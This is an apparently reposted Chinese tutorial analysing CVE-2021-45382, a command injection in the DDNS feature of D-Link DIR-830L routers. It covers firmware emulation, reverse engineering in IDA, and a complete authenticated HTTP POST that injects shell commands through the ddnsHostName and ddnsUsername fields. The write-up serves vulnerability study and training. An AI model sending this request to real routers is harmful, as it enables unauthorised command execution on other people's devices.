D-Link DIR-830L 命令注入

IoT 2年前 (2022) admin
972 0 0
D-Link DIR-830L 命令注入


D-Link DIR-830L 命令注入 

D-Link DIR-830L 命令注入

0x00.前言

D-Link DIR-830L 命令注入

 D-Link DIR-830L

D-Link DIR-830L 命令注入
D-Link DIR-830L 命令注入


D-Link DIR-830L 命令注入


影响版本:

  • D-Link DIR-820L (Rev A) ALL

  • D-Link DIR-820L (Rev B) ALL

  • DIR-830L A1

  • D-Link DIR-810L (Rev A) ALL

  • D-Link DIR-810L (Rev B) ALL

  • D-Link DIR-810L (Rev A) ALL

  • D-Link DIR-826L (Rev A) ALL

  • DIR-836L (Rev A)

  • DIR-820LW (Rev A)


D-Link DIR-830L 命令注入


D-Link DIR-830L 命令注入
D-Link DIR-830L 命令注入

0x01.固件模拟

D-Link DIR-830L 命令注入

 D-Link DIR-830L

D-Link DIR-830L 命令注入
D-Link DIR-830L 命令注入


D-Link DIR-830L 命令注入

测试环境:Ubuntu 18.04

固件版本:DIR830LA1_FW100B07

漏洞类型:命令执行

CVE编号:CVE-2021-45382

使用FirmAE对固件进行模拟

D-Link DIR-830L 命令注入
D-Link DIR-830L 命令注入

可以看到DIR-830L的固件模拟成功


D-Link DIR-830L 命令注入


D-Link DIR-830L 命令注入


D-Link DIR-830L 命令注入

0x02.漏洞分析

D-Link DIR-830L 命令注入

 D-Link DIR-830L

D-Link DIR-830L 命令注入
D-Link DIR-830L 命令注入


D-Link DIR-830L 命令注入

使用binwalk提取固件

D-Link DIR-830L 命令注入
D-Link DIR-830L 命令注入
D-Link DIR-830L 命令注入

根据漏洞细节可以确定触发命令执行的是DDNS服务,直接检索和ddns处理相关的二进制应用

D-Link DIR-830L 命令注入

如果大家分析过D-Link的漏洞,可以知道D-Link的ncc2服务曾产生很多的安全问题,那么这次同样由于ncc2服务对输入的内容过滤不严谨,造成了命令执行接下来使用IDA进行逆向分析。

D-Link DIR-830L 命令注入

根据漏洞细节,可以定位到是处理ddns的hostname,username时触发的,可以使用IDA的String窗口搜索ddns相关的字符串。

D-Link DIR-830L 命令注入

可以看到关于ddnsHostName,ddnsUserName的字符串,双击字符串进行跳转。

D-Link DIR-830L 命令注入

可以看到通过get_entry_value_by_name获取传递的ddnsHostName,ddnsUsername,

ddnsPassword值。

D-Link DIR-830L 命令注入

格式化到字符串中,然后调用system执行命令根据调用向上追踪。

D-Link DIR-830L 命令注入

可以看到如果想要执行目标函数,ccp_act传递的值应为doCheck,继续往上追踪可以看到对应的回调函数。

D-Link DIR-830L 命令注入


D-Link DIR-830L 命令注入


D-Link DIR-830L 命令注入
D-Link DIR-830L 命令注入


D-Link DIR-830L 命令注入

本篇内容讲解的漏洞比较适合入门物联网安全的小白,但是检索设备以往的应用漏洞进而挖掘新的漏洞也不失为一种漏洞挖掘的途径。

D-Link DIR-830L 命令注入


D-Link DIR-830L 命令注入


D-Link DIR-830L 命令注入
D-Link DIR-830L 命令注入

0x03.漏洞利用

D-Link DIR-830L 命令注入

 D-Link DIR-830L

D-Link DIR-830L 命令注入
D-Link DIR-830L 命令注入


D-Link DIR-830L 命令注入

命令执行绕过技巧

  • 使用;拼接,执行不同的系统命令


POST /ddns_check.ccp HTTP/1.1 # 目标URL

Host: 192.168.0.1

User-Agent: Mozilla/5.0 (X11; Ubuntu; 

Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Content-Length: 112

Origin: http://192.168.0.1

Connection: close

Cookie: uid=cGIveg4De1 # 认证信息,此漏洞需要认证

ccp_act=doCheck&ddnsHostName=;ls 

/>/www/1.html;&ddnsUsername=;ls />/www/1.html;&ddnsPassword=123123123

D-Link DIR-830L 命令注入

这里我们已经成功看到执行系统命令,并将ls /命令的结果写入1.html中,直接访问即可查看命令执行的效果。

D-Link DIR-830L 命令注入


D-Link DIR-830L 命令注入


D-Link DIR-830L 命令注入
D-Link DIR-830L 命令注入

0x04.总结

D-Link DIR-830L 命令注入

 D-Link DIR-830L

D-Link DIR-830L 命令注入
D-Link DIR-830L 命令注入


D-Link DIR-830L 命令注入

本篇内容讲解的漏洞比较适合入门物联网安全的小白,但是检索设备以往的应用漏洞进而挖掘新的漏洞也不失为一种漏洞挖掘的途径。

D-Link DIR-830L 命令注入


D-Link DIR-830L 命令注入


D-Link DIR-830L 命令注入

—— end ——

D-Link DIR-830L 命令注入
D-Link DIR-830L 命令注入

官网网址:

www.xinruisec.com

社区网址:

www.iotsec-zone.com

D-Link DIR-830L 命令注入

原文始发于微信公众号(IOTsec Zone):D-Link DIR-830L 命令注入

版权声明:admin 发表于 2022年3月17日 下午4:00。
转载请注明:D-Link DIR-830L 命令注入 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...